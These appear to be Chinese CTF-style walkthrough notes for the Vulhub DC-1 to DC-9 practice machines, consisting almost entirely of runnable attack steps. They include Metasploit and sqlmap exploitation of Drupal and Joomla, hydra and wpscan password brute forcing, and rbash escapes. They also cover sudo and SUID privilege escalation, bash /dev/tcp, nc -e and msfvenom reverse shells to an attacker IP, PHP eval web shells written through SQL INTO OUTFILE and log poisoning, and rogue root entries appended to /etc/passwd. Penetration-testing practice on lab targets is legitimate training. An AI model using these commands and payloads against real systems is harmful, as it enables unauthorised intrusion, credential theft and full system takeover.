Vulhub打靶 DC系列
dc1
nmap的基础使用,信息收集
msf漏洞库搜索漏洞
使用漏洞攻击靶机拿到shell,找到第一个flag,查看/etc/passwd
使用hydra爆破ssh登录的账号密码
登陆账号拿到第二个flag
查看到durpal的配置文件,获取到数据库信息,拿到第三个flag
尝试连接数据库,在数据库里发现admin账号,修改管理员的hash值
登录到web界面,拿到第四个flag
提权root拿到第五个flag
dc1和kali都在桥接模式下,nmap扫,拿到dc1 ip 192.168.10.109
外网
有22和80端口,因为还不知道DC-1所使用的用户,所有还不能爆破ssh,先访问一下80端口网页
web服务
msf漏洞库搜索 Drupal,并攻击
启动msf的数据库
msfdb start
启动msfconsole
搜索 search Drupal
使用2
run
就攻击成功了,拿到shell
ls可以看到第一个flag1.txt
内网
看一下有哪些用户,发现有一个flag4
cat /etc/passwd
使用hydra来爆破一波看看是否能拿到密码
hydra -l flag4 -P /usr/share/john/password.lst 192.168.10.109 ssh
得到falg4账号的密码为 orange
使用ssh连接靶机
ls在flag4账户的目录下找到了falg4,可想而知还有在前面还有两个flag,可能在web上,因为web有账号
在配置文件找到了flag2和数据库信息:/var/www/sites/default
数据库的账号:dbuser 密码: R0ck3t
连接数据库
mysql -u dbuser -p
show databses;
use drupaldb;
show tables;
select * from users;
可以看到admin的账号密码,但是是哈希加密的
搜索一下password
find / -name password*
可以看到var/www/scripts下有个sh的脚本
直接执行试试
可以重置密码
scripts/password-hash.sh 123456
还得注意它执行的路径
拿到一个hash值,拿去替换admin的密码
password: 123456 hash: $S$D7teEXpP7/AkgawJBhyKD6DNNWDUS3s9n.R/rWVq48nmIvSmQrvD
update users set pass='$S$D7teEXpP7/AkgawJBhyKD6DNNWDUS3s9n.R/rWVq48nmIvSmQrvD' where name='admin';
web端登录
找到flag3
之前flag4提到要提权
cd ~
find -name flag4.txt -exec /bin/bash -p \;
cd /root
ls
cat thefinalflag.txt
find -name flag4.txt -exec /bin/bash -p \;
该命令使用
find
命令搜索具有名称为"flag4.txt"的文件,并对每个匹配的文件执行指定的命令。解释该命令的各个部分:
find
: 命令本身。-name flag4.txt
:-name
是find
命令的选项之一,用于指定搜索的文件名模式。在这种情况下,它指定要搜索名称为"flag4.txt"的文件。-exec /bin/bash -p \;
:-exec
是find
命令的另一个选项,指定要执行的命令。在这里,我们以/bin/bash -p
作为要执行的命令。/bin/bash
是Bash Shell的路径,-p
选项表示以特权(即以root用户的权限)启动Bash Shell。\;
表示在命令末尾使用分号来标记命令的结束。该命令的作用是在开始搜索的目录中查找名为"flag4.txt"的文件,并对每个匹配的文件执行
/bin/bash -p
命令,以特权的方式启动Bash Shell。请注意,
-exec
选项和后续的命令必须以分号(;
)结尾,并且在命令行中需要使用\
来转义分号,以防止被Shell解释器解析。
至此5个flag收集完了
dc2
这个靶机找到ip以后需要hosts文件加上一条,这里我的dc-2 ip是192.168.10.102
kali也加上:vim /etc/hosts
信息搜集
-sV 服务探测
nmap 192.168.10.102 -sV -p1-65535
是一个wordpress
菜单栏找到flag1
从中看到一个重要的信息,提示我们用cewl来获取密码
Cewl是一款采用Ruby开发的应用程序,你可以给它的爬虫指定URL地址和爬取深度,还可以添额外的外部链接,接下来Cewl会给你返回一个字典文件,你可以把字典用到类似John the Ripper这样的密码破解工具中。除此之外,Cewl还提供了命令行工具。
cewl使用 -w这里可以使用-w参数来将密码字典存储为text文件:
cewl http://dc-2/index.php/flag/ -w dc-2.txt
wpscan --url url -e u
用户名枚举
枚举出三个
爆破密码
wpscan –url http://dc-2 -U user.txt -P dc-2.txt
爆破到了jerry和tom的密码
Username: jerry, Password: adipiscing Username: tom, Password: parturient
得到了账号密码但是没有能找到登录的地方
使用nikto来扫描一下登录,也可以使用御剑扫描一下
nikto -h http://dc-2/
访问wp-login.php进入到登录界面
jerry账户下发现flag2
tom的账号密码可以用来ssh登录
tom, Password: parturient
很多命令是不能用的
那么使用一下linux的compgen -c
命令查看一下当前可以使用的命令
还剩vi可以用
这里说要提权,但开启了rbash限制
rbash
是一个受限制的shell,它是Bash(Bourne-Again SHell)的一个变体,具有一些限制。以下是rbash
的几个限制:
- 不能更改当前工作目录,即
cd
命令失效。- 不能使用绝对路径执行命令,只能使用相对路径或者命令名。
- 不能使用重定向符
>
和>>
,也不能使用管道符|
。- 不能使用
eval
命令,它会将字符串作为Bash命令执行。- 不能使用Shell函数,因为
rbash
不允许定义Shell函数。- 不能使用
source
命令或.
命令来执行脚本,只能使用bash
命令来执行脚本。
rbash逃逸
google了下相关信息,大概学到了两种方法适用
一种是利用vi提权
先后在vi的命令模式下执行以下两条指令
:set shell=/bin/sh
:shell
一种是利用BASH_CMDS,它是含有命令的内部散列表的数组,我们可以添加元素,然后执行
# 利用bash_cmds自定义一个shell
BASH_CMDS[a]=/bin/sh
#然后就可以把a当作定义的东西
a
#我们逃逸了之后还是会发现无法执行命令,原因是环境变量中命令调取的路径被改变了(当前的环境被限制了),把路径改回来,就可以正常执行命令了
# 添加环境变量
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin
我们执行export PATH=/usr/bin:/usr/sbin:/bin:/sbin
把路径改回来,就可以正常执行命令了
flag3
登录jerry
export PATH="/usr/sbin:/usr/bin:/rbin:/bin"
添加之后尝试登录jerry
git提权
我们执行sudo -l
查看sudo的权限,这里提示我们git命令是root权限并且是不需要密码的
那么sudo执行git -p
,在分页模式下执行!'/bin/sh'
即可获取一个root权限的shell
找到最后一个flag
dc3
报错解决下先
信息搜集
nmap -sS -A 192.168.0.108
百度翻译
这一次,只有一个flag,一个切入点,没有任何线索。要获得该标志,您显然必须获得root权限。你如何成为根取决于你——显然,还有系统。祝你好运,我希望你喜欢这个小挑战
joomla cms
joomscan扫描
joomscan扫描仪。是一个可以帮助网络开发员和网站管理员帮助自己确定已部署的joomal网站可能会存在的安全漏洞。
在kali上安装joomscan
git clone https://github.com/rezasp/joomscan.git
cd joomscan
perl joomscan.pl
参数
perl joomscan.pl --url http://192.168.0.108
发现了joomal的版本号,还有网站的其他路径
xray扫描
xray webscan --basic-crawler http://192.168.0.108
CMSseek
CMSeeK是一个CMS的漏洞检测和利用套件
git clone https://github.com/Tuhinshubhra/CMSeeK
cd CMSeeK
python3 cmseek.py
python3 cmseek.py --url http://192.168.0.108
既然得到了joomal 3.7.0 的版本那就去搜索一下这个版本的漏洞
msf
msf中搜索Joomla
msfdb start
msfconsole
search Joomla
再熟悉下msf,使用14查版本
show options
set RHOSTS 192.168.0.108
run
再次看到3.7.0这个版本
https://www.exploit-db.com/exploits/42033
sqlmap
sqlmap -u "http://192.168.0.108/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T "#__users" -C "username,password" --dump -p list[fullordering]
admin | $2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu
john
https://cloud.tencent.com/developer/article/1937044
snoopy
进入后台
写shell蚁剑连接
http://192.168.0.108/templates/beez3/shell.php
内核为Ubuntu 16.04
searchsploit
使用kali的漏洞库搜索一下
searchsploit Ubuntu 16.04
使用39772那个
cat /usr/share/exploitdb/exploits/linux/local/39772.txt
在文档里面有使用教程,以及尾部有下载连接
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip
经查询,换到了一个新的地址:https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/tree/main/bin-sploits
wget https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39772.zip
将文件下载下来
需要将exploit.tar上传到目标主机,并解压运行~
kali启动http服务,将exploit.tar文件复制到网站根目录。
systemctl restart apache2
cp exploit.tar /var/www/html
靶机上下载
wget http://192.168.111.128/exploit.tar
解压exploit.tar文件
tar -xvf exploit.tar
进入目录
cd ebpf_mapfd_doubleput_exploit/
./compile.sh
./doubleput
但是我并没有提权成功
https://www.cnblogs.com/just-like-this/p/16368394.html
反弹shell
bash -c ‘bash -i >& /dev/tcp/192.168.111.128/7788 0>&1’
用反弹shell也不行,不知道哪里的原因
dc4
arl-scan+nmap搭配使用扫局域网yyds
爆破
抓包
反弹shell
方法1
radio=nc+192.168.111.128+7788+-e+/bin/bash&submit=Run
python -c 'import pty;pty.spawn("/bin/sh")'
方法2
靶机:telnet 192.168.111.128 2333 | /bin/bash | telnet 192.168.111.128 4000
攻击机开两个监听
nc -lvvp 2333
nc -lvvp 4000
看下这台机器的用户
只有jim用户下可以看到东西
将内容复制到1的文本里
既然有了这个密码字典,那拿来试试能不能爆出jim的密码
使用hydra来爆
hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip ssh
hydra -l 用户名 -p 密码字典 -t 线程 -o save.log -vV ip ssh
hydra -L users.txt -P password.txt -vV -o ssh.log -e ns IP ssh
hydra -l root -P password.txt 192.168.1.111 ssh
hydra -l jim -P 1.txt -t 10 ssh://192.168.111.3
hydra -l jim -P 1.txt 192.168.111.3 ssh
[22][ssh] host: 192.168.111.3 login: jim password: jibril04
翻目录,在var下的mail目录下找到一封邮件,得到charles的密码
^xHhA&hvim0y
那么切换用户
得知teehee命令是不需要root权限的
teehee提权
看看这个是干啥的,–help查看帮助
注意到-a
参数可以直接在文件末尾加上字符串
那么尝试往passwd写入一个账户
/etc/passwd
各个字段的含义:
username:password:User ID:Group ID:comment:home directory:shell
写入
dongyu::0:0:::/bin/bash
密码我们直接置空,uid和gid都是0,也就是root用户,也就是说覆盖了root账户,密码为0
sudo teehee -a /etc/passwd
dongyu::0:0:::/bin/bash
su dongyu
拿到flag
dc5
经典组合拳
发现有一个80端口和111端口并且运行着rpcinfo服务,39098
dirsearch扫目录
这个网站唯一的交互就是contact那里,提交以后的Copyright © 2020的时间一直在变,应该是对应的这个footer.php
访问这个文件,刷新是会变的
可以想到有可能存在文件包含,我看wp说这个参数是猜出来的
wfuzz -z file,/usr/share/wfuzz/wordlist/general/common.txt http://192.168.111.4/thinkyou.php?FUZZ=/etc/passwd
那就可以利用ctf的知识搞文件包含了
反弹shell
交互式
python -c 'import pty; pty.spawn("/bin/bash")'
suid提权
尝试提权
查看有suid的文件夹
find / -perm -u=s -type f 2>/dev/null
看到有个screen-4.5.0的版本号
GNU Screen是一款由GNU计划开发的用于命令行终端切换的自由软件。用户可以通过该软件同时连接多个本地或远程的命令行会话,并在其间自由切换。GNU Screen可以看作是窗口管理器的命令行界面版本。它提供了统一的管理多个会话的界面和相应的功能。 搜索漏洞
去kali漏洞库搜索一下
searchsploit screen 4.5.0
- 把41154.sh EXP内容:上面的c语言,剪切另存,保存为/tmp/libhax.c 提前编译:gcc -fPIC -shared -ldl -o libhax.so libhax.c
- 把下面的c语言,剪切另存,保存为/tmp/rootshell.c 提前编译:gcc -o rootshell rootshell.c
- 把剩下的内容,vi打开,进入末行模式输入 :set ff=unix ,保存后,重命名为mv 41154.sh dc5.sh,
dos2unix dc5.sh
攻击机
nc -lp 1234 < libhax.so
nc -lp 1234 < rootshell
nc -lp 1234 < dc5.sh
靶机
cd /tmp
nc -nv 192.168.111.128 1234 > libhax.so
nc -nv 192.168.111.128 1234 > rootshell
nc -nv 192.168.111.128 1234 > dc5.sh
chmod u+x dc5.sh
但是我会报错
No Sockets found in /tmp/screens/S-www-data.
gcc -fPIC -shared -ldl -o libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
gcc -o rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c
应该就是编译的时候==glibc版本太高==导致的,于是换台老一点的再编译上传即可成功提权得到flag
msf
来试试msf的解法
通过蚁剑上传系统后门,将会话转移到msf上。
系统为x86结构
uname -a
使用msfvenom生成x86结构的后门
msfvenom
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.111.128 LPORT=7788 -f elf > shell.elf
蚁剑上传到/tmp
msf开启会话监听
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
通过蚁剑中的虚拟终端运行后门。
chmod +x shell.elf
./shell.elf
给back.elf添加执行权限。
msf接收到会话
上传利用脚本
upload /tmp/41154.sh /tmp/
shell
chmod u+x 41154.sh
./
dc6
信息搜集
这个靶机需要自己添一条host记录
用wpscan结合bp尝试爆破用户,以及找其他漏洞好久,发现vulbhub上面还有提示
/usr/share/wordlists/是kali自带的字典目录
其中rockyou.txt 是以压缩包的方式存在,代码段中已经解压,该密码字典两很大有1400多万行。
mark / helpdesk01
这个插件是有漏洞的
https://www.cnblogs.com/SeanGyy/p/15576711.html
反弹shell
mark用户目录下有一个txt
graham - GSo7isUM1D4
ssh连接成功
此外发现一个备份
backups.tar.gz
tar -zcvf 打包
tar -zxvf 解包
sudo -l得知有个jens用户的backups.sh免密
并且当前用户还对文件有写入权限,同一个用户组的
写入反弹shell
echo 'bash -i >& /dev/tcp/192.168.111.128/7777 0>&1'>>backups.sh
这里一个小细节需要注意,直接bash backups.sh反弹的还是当前用户,需要sudo -u jens ./backups.sh
bash backups.sh
sudo -u jens ./backups.sh
nc把那个压缩包传出来
sudo -l又发现nmap可以root免密执行
nmap提权
那么直接创建一个脚本,利用nmap执行脚本获得一个root用户的shell
echo "os.execute('/bin/bash')">demon.nse
sudo nmap --script=/home/jens/demon.nse
进入到root
cat /root/ theflag.txt
dc7
打开首页就直接提醒我们暴力破解是没有用的,跳出框外思考
DC-7 introduces some "new" concepts, but I'll leave you to figure out what they are. :-)
While this challenge isn't all that technical, if you need to resort to brute forcing or a dictionary attacks, you probably won't succeed.
What you will have to do, is to think "outside" the box.
Way "outside" the box. :-)
找到了一个github
https://github.com/Dc7User/staffdb
代码审计
内网渗透还是得找配置文件
ssh连接这个
该用户目录下有一个mbox,其中一个脚本出现了很多次
drush: https://www.dwoke.com/node/436
这个能直接修改管理员密码
这里注意要到html目录下运行,只有这个目录是www-data权限,不然会提示权限不够
drush user-password admin --password="123456"
登陆成功
到这一步了要考虑的就是如何拿到更高的权限,可以通过更改那个backup.sh
这个脚本的拥有者是root,但是www-data权限也是可以更改执行的,所以想办法拿到一个www-data权限,刚刚登录了admin的账号,可以试试弹一个shell看看啥权限
在web层面反弹一个shell,决定这个shell权限的是php脚本的运行权限而不是web用户的权限
通过web进行反弹shell得到的权限一般是www-data
后台默认是不带生成php界面的,需要下载插件
https://www.drupal.org/project/php/releases/8.x-1.x-dev
下载后上传
点一下那个激活,这样就可以生成php页面了
连接成功
将反弹shell写入脚本
echo "nc -e /bin/bash 192.168.111.128 6666" > /opt/scripts/backups.sh
root会==定时执行==backups.sh
,所以等root执行了这个脚本就可以提权到root了
dc8
ip地址 192.168.111.9
存在sql注入
admin | dc8blah@dc8blah.org | $S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z
john | john@blahsdfsfd.org | $S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF
得到admin和john账号的hash值
那么接下来尝试使用john来爆一下这两个账号的hash值
john --wordlist=/usr/share/john/password.lst --rules dc8.txt
admin没爆破出,得到john用户的密码
john:turtle
/user路径登录
python -c ‘import pty;pty.spawn("/bin/bash")’
拿到shell的第一步还是翻配置文件
寻找特权文件
find / -user root -perm -4000 -print 2>/dev/null
查看exim4权限位
exim4是可以提权的
查看版本 exim4 –version
漏洞库搜索一下 searchsploit exim 4
复制相关脚本到本地,再本地python搭个http服务,目标机shell上把脚本wget下来
python -m http.server 9111
dc9
终于到dc-9了
arl-scan+nmap信息搜集
有一个查找的地方
order by 7刚好查不出,说明存在6列
sqlmap验证有sql注入
user
+----+-----------+------------+---------------------+---------------+-----------+
| id | username | lastname | reg_date | password | firstname |
+----+-----------+------------+---------------------+---------------+-----------+
| 1 | marym | Moe | 2019-12-29 16:58:26 | 3kfs86sfd | Mary |
| 2 | julied | Dooley | 2019-12-29 16:58:26 | 468sfdfsd2 | Julie |
| 3 | fredf | Flintstone | 2019-12-29 16:58:26 | 4sfd87sfd1 | Fred |
| 4 | barneyr | Rubble | 2019-12-29 16:58:26 | RocksOff | Barney |
| 5 | tomc | Cat | 2019-12-29 16:58:26 | TC&TheBoyz | Tom |
| 6 | jerrym | Mouse | 2019-12-29 16:58:26 | B8m#48sd | Jerry |
| 7 | wilmaf | Flintstone | 2019-12-29 16:58:26 | Pebbles | Wilma |
| 8 | bettyr | Rubble | 2019-12-29 16:58:26 | BamBam01 | Betty |
| 9 | chandlerb | Bing | 2019-12-29 16:58:26 | UrAG0D! | Chandler |
| 10 | joeyt | Tribbiani | 2019-12-29 16:58:26 | Passw0rd | Joey |
| 11 | rachelg | Green | 2019-12-29 16:58:26 | yN72#dsd | Rachel |
| 12 | rossg | Geller | 2019-12-29 16:58:26 | ILoveRachel | Ross |
| 13 | monicag | Geller | 2019-12-29 16:58:26 | 3248dsds7s | Monica |
| 14 | phoebeb | Buffay | 2019-12-29 16:58:26 | smellycats | Phoebe |
| 15 | scoots | McScoots | 2019-12-29 16:58:26 | YR3BVxxxw87 | Scooter |
| 16 | janitor | Trump | 2019-12-29 16:58:26 | Ilovepeepee | Donald |
| 17 | janitor2 | Morrison | 2019-12-29 16:58:28 | Hawaii-Five-0 | Scott |
+----+-----------+------------+---------------------+---------------+-----------+
另外一个表发现admin的hash密码
+--------+----------+----------------------------------+
| UserID | Username | Password |
+--------+----------+----------------------------------+
| 1 | admin | 856f5de590ef37314e7c3bdf6f8a66dc |
+--------+----------+----------------------------------+
admin:transorbital1
登录admin
尝试在添加用户那里写shell
让它报错可以看到执行的sql语句
select @@basedir;查网站的物理路径
/usr
查看数据库是否有导入权限,看能否直接导入木马
SHOW GLOBAL VARIABLES LIKE '%secure%'
有的话直接写入
select '<?php @eval($_POST[a]);?>'INTO OUTFILE '/home/wwwroot/default/p.php'
如果没有,查看是否有开启日志记录
SHOW GLOBAL VARIABLES LIKE ‘%general%’
日志记录功能关闭,但是可以开启
SET GLOBAL general_log = ON
SET GLOBAL general_log_file = 'C:/phpstudy/WWW/test.php'
select '<?php eval ($_POST[hack]);?>'
执行这条语句之后,日志会将select后的查询语句记录进日志,从而让日志变成一个一句话木马
select ‘‘INTO OUTFILE ‘/home/wwwroot/default/p.php’
在position位置注入
‘3’,‘4’,‘5’) union select ‘‘INTO OUTFILE ‘/usr/1.php’– -
但是好像不行
看了wp说是这里有一个file,下面这里提示我们有文件包含漏洞
尝试日志文件包含反弹shell,也是没找到日志文件放哪里了,可能更改了吧
尝试爆破ssh,因为etc/passwd里有几个之前sqlmap跑出来的账号
但是ssh状态为filtered,有可能是被防火墙过滤了
看一下配置
?file=../../../../etc/knockd.conf
/etc/knockd.conf
这个讲的很好https://blog.csdn.net/nzjdsds/article/details/112476120
用于配置 Knockd 服务。Knockd 是一个基于端口混淆的工具,旨在提高系统的安全性。它允许用户使用预定义的网络端口序列触发特定的操作,如打开/关闭端口、执行命令等。
敲门:for x in 7469 8475 9842;do nmap -Pn --max-retries 0 -p $x 192.168.111.10;done
敲门结束后再探测22端口就是open状态了
hydra爆破ssh
hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip ssh
hydra -l 用户名 -p 密码字典 -t 线程 -o save.log -vV ip ssh
hydra -L users.txt -P password.txt -vV -o ssh.log -e ns IP ssh
hydra -l root -P password.txt 192.168.1.111 ssh
+----+-----------+------------+---------------------+---------------+-----------+
| id | username | lastname | reg_date | password | firstname |
+----+-----------+------------+---------------------+---------------+-----------+
| 1 | marym | Moe | 2019-12-29 16:58:26 | 3kfs86sfd | Mary |
| 2 | julied | Dooley | 2019-12-29 16:58:26 | 468sfdfsd2 | Julie |
| 3 | fredf | Flintstone | 2019-12-29 16:58:26 | 4sfd87sfd1 | Fred |
| 4 | barneyr | Rubble | 2019-12-29 16:58:26 | RocksOff | Barney |
| 5 | tomc | Cat | 2019-12-29 16:58:26 | TC&TheBoyz | Tom |
| 6 | jerrym | Mouse | 2019-12-29 16:58:26 | B8m#48sd | Jerry |
| 7 | wilmaf | Flintstone | 2019-12-29 16:58:26 | Pebbles | Wilma |
| 8 | bettyr | Rubble | 2019-12-29 16:58:26 | BamBam01 | Betty |
| 9 | chandlerb | Bing | 2019-12-29 16:58:26 | UrAG0D! | Chandler |
| 10 | joeyt | Tribbiani | 2019-12-29 16:58:26 | Passw0rd | Joey |
| 11 | rachelg | Green | 2019-12-29 16:58:26 | yN72#dsd | Rachel |
| 12 | rossg | Geller | 2019-12-29 16:58:26 | ILoveRachel | Ross |
| 13 | monicag | Geller | 2019-12-29 16:58:26 | 3248dsds7s | Monica |
| 14 | phoebeb | Buffay | 2019-12-29 16:58:26 | smellycats | Phoebe |
| 15 | scoots | McScoots | 2019-12-29 16:58:26 | YR3BVxxxw87 | Scooter |
| 16 | janitor | Trump | 2019-12-29 16:58:26 | Ilovepeepee | Donald |
| 17 | janitor2 | Morrison | 2019-12-29 16:58:28 | Hawaii-Five-0 | Scott |
+----+-----------+------------+---------------------+---------------+-----------+
dc9user.txt
marym
julied
fredf
barneyr
tomc
jerrym
wilmaf
bettyr
chandlerb
joeyt
rachelg
rossg
monicag
phoebeb
scoots
janitor
janitor2
dc9pass.txt
3kfs86sfd
468sfdfsd2
4sfd87sfd1
RocksOff
TC&TheBoyz
B8m#48sd
Pebbles
BamBam01
UrAG0D!
Passw0rd
yN72#dsd
ILoveRachel
3248dsds7s
smellycats
YR3BVxxxw87
Ilovepeepee
Hawaii-Five-0
将账号密码放入爆破
hydra -L dc9user.txt -P dc9pass.txt 192.168.1.14 ssh
爆出三个账号
login: chandlerb password: UrAG0D!
login: joeyt password: Passw0rd
login: janitor password: Ilovepeepee
接下来涉及到翻找各种用户,sudo -l找到了一个root权限的脚本可以把一个文件的内容写入另一个文件,就可以尝试写/etc/passwd添加root用户了
/etc/passwd
/etc/passwd中一行记录对应着一个用户,每行记录又被冒号(:)分隔为7个字段,其格式和具体含义如下:
root:x:0:0:root:/root:/bin/bash
用户名:口令:用户标识号:组标识号:注释性描述:主目录:登录Shell
第一个参数(root):用户名称。
第二个参数(x):密码。x代表有密码,密码存储在/etc/shadow文件中。若此参数为空,则代表不用密码就可以登录此用户。
第三个参数(0):用户ID(UID)。0:超级用户 UID。1~499:系统用户UID。500 ~ 65535:普通用户 UID。
第四个参数(0):用户组ID(GID)。
第五个参数 (root):用户的简单说明。可为空。
第六个参数(/root):用户家目录。用户登录后具有操作权限的访问目录。
第七个参数(/bin/bash):用户登录shell。/bin/bash为可登录系统的shell,/sbin/nologin为禁止登录的shell(很多系统用户为禁止登录shell)。
所有用户都可读,只有root用户可写
写入/etc/passwd
使用openssl passwd -1 生成加密的密码:-1表示使用MD5算法对密码redhat进行加密
openssl passwd -1 -salt demon 123456
echo 'demon:$1$demon$Mspg7FhbFwGLZ4T2s/qI6/:0:0:root:/bin/bash' >> /etc/passwd